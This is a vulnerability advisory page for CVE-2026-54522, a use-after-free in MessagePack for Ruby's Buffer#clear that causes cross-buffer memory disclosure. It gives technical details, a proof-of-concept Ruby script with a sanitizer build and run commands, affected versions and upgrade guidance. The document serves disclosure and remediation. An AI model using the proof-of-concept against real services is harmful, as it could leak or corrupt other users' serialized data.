CVE-2026-54522: MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Published Jul 30, 2026
·
Updated

Summary MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmemlast, rmemend, rmemowner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details - msgpackbufferclear() → msgpackbuffershiftchunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (msgpackbufferchunkdestroy, :58, returns the page via msgpackrmemfree) but resets only tailbufferend/readbuffer, leaving rmemlast/rmemend/rmemowner pointing into the freed page. - Next Buffer#write → msgpackbufferchunkmalloc() reuse branch (:363) returns b->rmemlast, a pointer into the already-freed page. - A second buffer's first write calls msgpackrmemalloc() and gets the same physical page back from the pool → the two buffers alias the same memory. - Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

bash set -e WORK="$(mktemp -d)"; cd "$WORK"

1) PoC cat > poc.rb <<'RUBY' b1 = MessagePack::Buffer.new(nil, writereferencethreshold: 256) b1.write('M' 1000); b1.write('A' 200); b1.write('N' 1000) b1.clear b1.write('C' 128) secret = ('s' 200) + ('ABCD' 32) + ('t' 400) b2 = MessagePack::Buffer.new(nil, writereferencethreshold: 4096) b2.write(secret) leaked = b1.readall donor = b2.readall puts 'b1first64:' + leaked.byteslice(0, 64) puts 'b2donor64:' + donor.byteslice(200, 64) puts 'leakedisC:' + (leaked == 'C' 128).tos puts 'crossbuffermatch:' + (leaked == donor.byteslice(200, 128)).tos RUBY

2) ASAN build of msgpackfrom rubygems cat > Dockerfile <<'DOCKER' FROM ruby:3.3-bookworm RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/ RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \ cd msgpack-1.8.1/ext/msgpack && \ MSGPACKDEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \ make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so DOCKER docker build -t msgpack-asan-poc .

3) Run under ASAN docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \ bash -c 'export LDPRELOAD=$(gcc -print-file-name=libasan.so); export ASANOPTIONS=detectleaks=0:haltonerror=1:abortonerror=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output: b1first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD b2donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD leakedisC:false crossbuffermatch:true

Impact Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit Pranjali Thakur - depthfirst (depthfirst.com)

Other sources

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmemlast, rmemend, and rmemowner stale after msgpackbuffershiftchunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

MITRE

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Microsoft

Affected Software

4 affected componentsFixes available
MessagePack for Ruby MessagePack<1.8.2
rubygems/msgpack<=1.8.1
1.8.2
msgpack Messagepack Ruby<1.8.2
Microsoft azl3 rubygem-msgpack 1.7.2-1<1.8.4-1
1.8.4-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rubygems/msgpack to a version that resolves this vulnerability.

    Fixed in 1.8.2
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 1.8.4-1
  3. Upgrade

    Upgrade msgpack to a version that resolves this vulnerability.

    Fixed in 1.8.2
  4. Configuration

    If you use the MessagePack::Buffer API, avoid the vulnerable clear/reuse lifecycle described in ext/msgpack/buffer.c until you upgrade to 1.8.2 (i.e., don’t call MessagePack::Buffer#clear and then reuse the same Buffer instance for further writes/reads).

    MessagePack for Ruby / MessagePack::Buffer MessagePack::Buffer#clear lifecycle (avoid clear+reuse pattern) = avoid use
  5. Operational

    After upgrading from prior to 1.8.2, rebuild/deploy the affected MessagePack for Ruby gem version and retest any code paths that use MessagePack::Buffer#clear and reuse, since the bug can lead to cross-buffer information disclosure or write corruption in the same process.

Event History

Jul 30, 2026
CVE Published
via MITRE·04:33 PM
Data Sourced
via MITRE·04:33 PM
DescriptionWeakness
Advisory Published
via GitHub·04:33 PM
Data Sourced
via GitHub·04:33 PM
DescriptionWeaknessAffected Software
Data Sourced
via NVD·05:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Aug 7, 2026
Data Sourced
via Microsoft·08:17 AM
DescriptionSeverityWeakness
Data Sourced
via Microsoft·08:17 AM
Affected Software
Updated
via Microsoft·08:17 AM
Description
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-54522?

The severity of CVE-2026-54522 is rated at risk level 37.

2

How does CVE-2026-54522 impact MessagePack for Ruby?

CVE-2026-54522 enables a use-after-free vulnerability that can lead to cross-buffer disclosure in MessagePack for Ruby.

3

How can I mitigate CVE-2026-54522?

To mitigate CVE-2026-54522, update your version of MessagePack for Ruby to the latest release that addresses this vulnerability.

4

What is the nature of the vulnerability described in CVE-2026-54522?

CVE-2026-54522 is a use-after-free vulnerability related to the handling of memory in the MessagePack::Buffer#clear method.

5

Is CVE-2026-54522 considered critical?

While CVE-2026-54522 has a moderate severity rating, the potential for cross-buffer disclosure could be significant depending on the application.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203